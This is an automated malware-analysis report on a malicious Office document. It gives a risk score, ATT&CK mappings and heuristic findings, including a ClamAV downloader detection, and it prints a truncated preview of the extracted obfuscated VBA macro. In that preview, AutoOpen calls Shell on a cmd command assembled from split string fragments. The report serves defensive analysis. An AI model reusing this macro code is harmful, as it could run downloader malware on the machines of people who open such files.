MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The specific command string is heavily obfuscated, but its presence strongly suggests the execution of a secondary payload, likely a downloader. The ClamAV detection also confirms its malicious nature.
Heuristics 6
-
ClamAV: Doc.Downloader.Generic-6668101-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6668101-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 24930 bytes |
SHA-256: 0195b7a64eba6a674bb4b90b5d06d11b7140a230a70e4e2f558f0a78ef4c90bb |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "RKDQDjDuLrPG"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName fVYIE
TypeName Chr(98514 - 78697)
TypeName CInt(97)
TypeName Month(lHNSH / zmHhz - irMvh * KCVot)
TypeName MbSCw
TypeName MJQzzF
Shell# KeyString(fNGAiwqT + wGbmcqRCtQuFzp + vbKeyC + RBzPlTAFmLwo + LJwkXSjROrhl) + NZPRbrfpU + iFWARscA + QwVzdqFMc + YLJfSlnE + IvShkjqr + FDTbn + ibcGEdnRla + DuZGnJlwEo + tVUcUmVa + hnzGuzcWUIS + LkFQVSlXFLG + RzbWSzTQqjc + TEqiRBX + LwTHIMBJ + kcQDojQiau + cvUEmjowuz + oEoqBVlSS + lsILjDQNiUU + wimffii + CMXJWXfoVLP + kzOmZuwj, 134324731 - 134324731
TypeName Sqr(cOFVP)
TypeName (92)
TypeName 391479084
End Sub
Attribute VB_Name = "YXScVSVoibcoq"
Function QwVzdqFMc()
On Error Resume Next
TypeName Fix(69495 + jQwva / 21446 * hcOMO)
TypeName Chr(LBrsDS)
TypeName TypeName(679 * pjSiT - 93264 * jAtDlR)
nuERikm = "md " + "/V:" + "O" + " " + " /" + CStr(Chr(kjLpfJatwUM + sKSSOzTn + 67 + DCaVOUBA + liAmccjG)) + " " + " "
TypeName CByte(84)
TypeName Cos(47639 - lSajZH)
TypeName (1274)
zaQYwhVOUY = CStr(Chr(zJNqKJkAnZlqvX + FoMZvUGtYNJf + 34 + NNCvJupjLFjA + ZujdfpWutLwi)) + " " + " " + "se" + "t " + " k" + "q" + CStr(Chr(RwzFLBLXnA + wVdHpuHYT + 108 + jzzPTTrwiqV + FdpLWBGjP)) + "=d" + "oq" + "WD" + "G" + "pNi" + "q"
TypeName CSng(ZDutVG)
TypeName Tan(6818)
lLUQsw = "T" + "w" + "kH" + "dps" + "uV" + "XYH" + "YBR" + "jJ" + "QS" + "." + CStr(Chr(BRmVDXiAmSSGL + EwDiWbDPBLFvC + 67 + uQhGOBhVsG + fvmXiadzKj)) + "e:="
TypeName Ewihk
TypeName Second(9390 * LpoURz / FAwZpC + cPcih)
RizFt = "8" + CStr(Chr(SzCkJwcciOYBYE + XaKbKFYTPobVY + 99 + OkloRzwMu + nQXkzZDnajVE)) + "r}A" + "f" + "{$6" + ",av" + "I5" + "y" + "-" + "M" + ";" + "x g"
TypeName Atn(ZoXUh)
TypeName Cos(92652 + pFWMj)
quXJWY = "O@" + "hF)" + "\4" + "b" + "mtn" + "/E'" + "K+" + "(P" + CStr(Chr(YiVVXHDN + RnPFqaOQ + 108 + SIwioBRluis + csRaqXXjZPNSLK)) + "&" + "& " + " f"
TypeName Log(91333771)
TypeName LCase(uQGWzL)
TypeName CLng(121763382)
fHita = "o" + "r " + "%d" + " " + "i" + "n " + "( "
TypeName 338948728
TypeName Sin(EFTjt - QzzzR / 53986 * zITTp)
SFKUtqHksI = " 1" + "5 " + " " + " " + "," + " " + " " + " 1" + ", " + " "
TypeName CByte(Xsmaa)
TypeName 18
nmSJirUAPmH = "1" + "1" + " " + " , " + " 3" + "1 " + " " + ", " + "36" + " " + ", "
TypeName Oct(9521)
TypeName CDec(SfrHIo)
TypeName Sin(iChwj)
iaNrABU = "1" + "6" + " " + ",57" + "," + " " + " 3" + "1," + " 7" + "3," + "7" + "3 " + ","
TypeName TimeValue(6)
TypeName Hex(TCNIl)
TypeName Val(18190 / 25313 / rYkAFh / 24696)
rwEPZdParN = " " + "53" + ",41" + ",6" + "9," + " " + " " + "3" + " "
TypeName 23
TypeName Month(PEIHT)
TypeName Round(wZhhXm)
jsmblD = " " + "," + "6" + "4 " + "," + " " + " " + "33," + " " + " 6" + "5" + ","
TypeName 405179881
TypeName Chr(40356177)
IWcJfRl = " " + " 3" + "1" + " " + " , " + " " + "11" + " "
QwVzdqFMc = nuERikm + zaQYwhVOUY + lLUQsw + RizFt + quXJWY + fHita + SFKUtqHksI + nmSJirUAPmH + iaNrABU + rwEPZdParN + jsmblD + IWcJfRl
TypeName 76
TypeName 119860992
TypeName Month(bRWEd)
End Function
Function YLJfSlnE()
On Error Resume Next
TypeName Log(WzptfK)
TypeName TypeName(22)
TypeName 502428434
GYbKOdzNa = "," + " " + " 49" + " ," + " " + " " + "1 " + ",6" + "2" + " " + " "
TypeName 5
TypeName Tan(633)
kVohnP = " " + " , " + " 25" + " " + " ," + " 3" + "1 " + " " + "," + " "
TypeName IYBAK
TypeName SJuWzh
SojLjRGwWK = " 3" + "5" + " ," + " " + " " + " 64" + ", " + " 5" + "3" + " ," + " " + "7 " + " , "
TypeName ChrW(172639045)
TypeName JwCsG
PjvSuCR = " 3" + "1" + " " + " , " + " " + "64 " + " " + " "
TypeName CCur(jBQJjv)
TypeName Str(5974)
nzuwzGRLoY = ", " + "2" + "9 " + " ," + " " + " 3" + " " + "
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.